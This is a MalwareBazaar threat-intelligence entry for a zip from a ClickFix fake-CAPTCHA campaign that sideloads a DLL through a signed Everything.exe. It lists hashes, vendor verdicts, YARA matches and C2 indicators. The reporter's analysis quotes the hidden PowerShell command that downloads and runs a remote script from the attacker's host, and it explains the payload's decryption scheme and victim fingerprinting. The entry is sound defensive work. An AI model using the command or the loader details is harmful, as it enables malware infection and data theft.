MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 b81d2eb623688c933d9461fe40ebc3be7510d5180efbfee52af1bf9631fc9482. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry

Threat unknown

Vendor detections: 6

Intelligence 6 IOCs YARA 24 File information Comments 1

SHA256 hash:	b81d2eb623688c933d9461fe40ebc3be7510d5180efbfee52af1bf9631fc9482
SHA3-384 hash:	cc2036bea1cd86da6528bdc12ad38a32f7a8a6c7f6cf6309a57e2bbcb16bff6d9bea3a758958a0ea45776be63311418c
SHA1 hash:	28a7c80bacb7898b9f94a3f3b2010c8e35a584b9
MD5 hash:	bf1a140fb94ee588495ac832507ae3b8
humanhash:	jersey-timing-fish-cold
File name:	update.zip
Download:	download sample
File size:	2'790'320 bytes
First seen:	2026-10-12 00:26:03 UTC
Last seen:	Never
File type:	zip
MIME type:	application/zip
ssdeep	49152:dqF4IYDaaSMvp1k+1+taJT9vzRD986xw7kOD1SHBOtscDl4NEisUJHmdBftRwCfv:dqFr+VZpPtT9rnxw7J1SgtMEZqHSf/fv
TLSH	T1CBD533DC1A34F40941ED4A419B2D5379C33D797952B9B242C1BC82DBAAF75E0E1FA22C
TrID	60.0% (.KMZ) Google Earth saved working session (6000/1/1) 40.0% (.ZIP) ZIP compressed archive (4000/1)
Magika	zip
Reporter	Daydream
Tags:	ClickFix FakeCaptcha sideloading zip

Daydream

Per-victim package from https://wall.casajuanchos.com/d/<base64 fingerprint> (served as update.zip, saved by the script as Everything-1.5.0.1423b.x64.zip). This copy was requested 2026-10-12 with a made-up fingerprint: MachineGuid d634c562-f431-4703-a154-c9046eae5f4b, serial A05265EA, name DESKTOP-FVCJEY9, so its data.dat decrypts with SHA-256('d634c562-f431-4703-a154-c9046eae5f4b|A05265EA|DESKTOP-FVCJEY9') to aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f. The zip hash is unique to this request. Decryption of data.dat: key = SHA-256 of the text '<MachineGuid>|<C: volume serial, 8 upper-case hex>|<COMPUTERNAME>'; the loader checks HMAC-SHA256(key, data[:-32]) == data[-32:], then AES-256-CBC (CNG, PKCS7) with IV = data[0:16] over data[16:-32]. ClickFix chain: fake CAPTCHA pages plant 'powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://wall.casajuanchos.com/pidor.ps1'))'. pidor.ps1 (7623bd07f235e9969183d6d4b5069b4689948e3996b04b4c5d39d90cbcbf0e52) sends MachineGuid|C: serial|computer name|BIOS maker|model|GPU|user as base64 in https://wall.casajuanchos.com/d/<b64> and gets update.zip built for that machine: genuine signed Everything.exe 1.5.0.1423b (81b4d05e84e61891ac043dd76e97de616af17adf53b2ee2fe984d8b0bbbfcc21), Everything.ini, WindowsCodecs.dll (1e29472ea92b8218232d63d0c72859e94e531d9b6d804555c97b26b076af4d23) and data.dat.

Intelligence

File Origin

# of uploads :

# of downloads :

166

Origin country :

File Archive Information

This file archive contains 4 file(s), sorted by their relevance:

File name:	WindowsCodecs.dll
File size:	28'672 bytes
SHA256 hash:	1e29472ea92b8218232d63d0c72859e94e531d9b6d804555c97b26b076af4d23
MD5 hash:	71fce1f2250a8ec70e2f2bf975585925
MIME type:	application/x-dosexec

File name:	Everything.exe
File size:	5'138'088 bytes
SHA256 hash:	81b4d05e84e61891ac043dd76e97de616af17adf53b2ee2fe984d8b0bbbfcc21
MD5 hash:	78165db66d9c1130e134100f3968ba9b
MIME type:	application/x-dosexec

File name:	data.dat
File size:	373'312 bytes
SHA256 hash:	963cd3c52e7022d5cc9380fa1df945afa265ea46a1255ccf117d264af530633b
MD5 hash:	163b58f28b5a12f073b370c22a0b5db2
MIME type:	application/octet-stream

File name:	Everything.ini
File size:	109'207 bytes
SHA256 hash:	b84f1de57d84f9e67191317e01f620b6da3d138ebd9ff7d566991567c5f3a647
MD5 hash:	31add2bff0a64edd249e3a476832bbe0
MIME type:	text/plain

Vendor Threat Intelligence

Details

Link:

https://research.acce.ciphertechsolutions.com/results/bee86ef5-3e5f-4484-8040-6f7f16b7294d/

Detection(s):

SecuriteInfo.com.Variant.Lazy.741129.77854862.UNOFFICIAL

Verdict:

Malicious

Score:

95.7%

Link:

https://cyber-fortress.com/docs/result/index.php?id=6ad0dfec6f551121ba160c17

Tags:

dropper virus

Result

Verdict:

Clean

File Type:

PE File

Link:

https://app.docguard.net/b81d2eb623688c933d9461fe40ebc3be7510d5180efbfee52af1bf9631fc9482/results/dashboard

Verdict:

Unknown

Threat level:

2.5/10

Confidence:

100%

Tags:

adaptive-context anti-debug expand fingerprint keylogger lolbin microsoft_visual_cc packed reconnaissance signed

Link:

https://www.filescan.io/uploads/6acc292f43f5510c48e9f3e2/reports/50f481c6-ff4c-4ad5-9878-cf35b7d4589f/overview

Verdict:

Unknown

Link:

https://www.hybrid-analysis.com/sample/b81d2eb623688c933d9461fe40ebc3be7510d5180efbfee52af1bf9631fc9482

Verdict:

Unknown

File Type:

zip

Link:

https://opentip.kaspersky.com/b81d2eb623688c933d9461fe40ebc3be7510d5180efbfee52af1bf9631fc9482/results?tab=lookup

Score:

98%

Verdict:

Malware

File Type:

Result

Malware family:

n/a

Score:

6/10

Tags:

persistence

Link:

https://tria.ge/reports/261012-gqlftaww8j/

Behaviour

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Adds Run key to start application

Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:	command_and_control Create hunting rule
Author:	CD_R0M_
Description:	This rule searches for common strings found by malware using C2. Based on a sample used by a Ransomware group

Rule name:	DebuggerCheck__API Create hunting rule
Reference:	https://github.com/naxonez/yaraRules/blob/master/AntiDebugging.yara

Rule name:	DebuggerException__SetConsoleCtrl Create hunting rule
Reference:	https://github.com/naxonez/yaraRules/blob/master/AntiDebugging.yara

Rule name:	DetectEncryptedVariants Create hunting rule
Author:	Zinyth
Description:	Detects 'encrypted' in ASCII, Unicode, base64, or hex-encoded

Rule name:	FreddyBearDropper Create hunting rule
Author:	Dwarozh Hoshiar
Description:	Freddy Bear Dropper is dropping a malware through base63 encoded powershell scrip.

Rule name:	golang_bin_JCorn_CSC846 Create hunting rule
Author:	Justin Cornwell
Description:	CSC-846 Golang detection ruleset

Rule name:	PE_Digital_Certificate Create hunting rule
Author:	albertzsigovits

Rule name:	RANSOMWARE Create hunting rule
Author:	ToroGuitar

Rule name:	SEH__vectored Create hunting rule
Reference:	https://github.com/naxonez/yaraRules/blob/master/AntiDebugging.yara

Rule name:	Suspicious_PssCaptureSnapshot_Usage Create hunting rule
Author:	Dana Behling - Just me not for personal curiosity, no company.
Description:	Detects binaries abusing PssCaptureSnapshot in combination with typical combination that indicates malicious activity.

Rule name:	TH_AntiVM_MassHunt_Win_Malware_2026_CYFARE Create hunting rule
Author:	CYFARE
Description:	Detects Windows malware employing anti-VM / anti-sandbox evasion techniques across VMware, VirtualBox, Hyper-V, QEMU, Xen, and generic sandbox environments
Reference:	https://cyfare.net/

Rule name:	VECT_Ransomware Create hunting rule
Author:	Mustafa Bakhit
Description:	Detects activity associated with VECT ransomware. This includes registry modifications and deletions, execution of system and defense-evasion commands, suspicious API usage, mutex creation, file and memory manipulation, ransomware note generation, anti-debugging and anti-analysis techniques, and embedded cryptographic constants (SHA256) characteristic of this malware family. Designed for threat intelligence and malware detection environments.

Rule name:	Win_Clipboard_Clipper_Thengavar Create hunting rule
Author:	Thengavar
Description:	Detects malware manipulating the Windows clipboard for clipping or crypto stealing attacks

Rule name:	WIN_Malware_ACRStealer_ForgeAuto_1084c837_Extrait Create hunting rule
Author:	Marjoriefort
Description:	Detects ACRStealer (pe, etat extrait)

Rule name:	WIN_Malware_Fantom_ForgeAuto_98e6f354_Extrait Create hunting rule
Author:	Marjoriefort
Description:	Detects Fantom (pe, etat extrait)

Rule name:	WIN_Malware_PythonStealer_ForgeAuto_b24cb5bd Create hunting rule
Author:	Marjoriefort
Description:	Detects PythonStealer (pe, etat binaire)

Rule name:	WIN_Malware_Unknown_ForgeAuto_37b4704b Create hunting rule
Author:	Marjoriefort
Description:	Detects Unknown (pe, etat binaire)

Rule name:	WIN_Malware_Unknown_ForgeAuto_74566f98 Create hunting rule
Author:	Marjoriefort
Description:	Detects Unknown (pe, etat binaire)

Rule name:	WIN_Malware_Unknown_ForgeAuto_79234c04 Create hunting rule
Author:	Marjoriefort
Description:	Detects Unknown (pe, etat binaire)

Rule name:	WIN_Malware_Unknown_ForgeAuto_92a28498 Create hunting rule
Author:	Marjoriefort
Description:	Detects Unknown (pe, etat binaire)

Rule name:	WIN_Malware_Unknown_ForgeAuto_b26e2de9_Extrait Create hunting rule
Author:	Marjoriefort
Description:	Detects Unknown (pe, etat extrait)

Rule name:	WIN_Malware_Unknown_ForgeAuto_b550d7b4_Extrait Create hunting rule
Author:	Marjoriefort
Description:	Detects Unknown (pe, etat extrait)

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Web download

zip b81d2eb623688c933d9461fe40ebc3be7510d5180efbfee52af1bf9631fc9482

(this sample)

Delivery method

Distributed via web download

Comments

Login required

You need to login to in order to write a comment. Login with your abuse.ch account.

commented on 2026-10-12 00:49:05 UTC

Final payload in this package is assessed as TELEPUZ (aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f). C2 bee.beachcafemb.com; dead drops t.me/molerkorstarstot, steamcommunity.com/profiles/76561199770856090, Polygon contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E.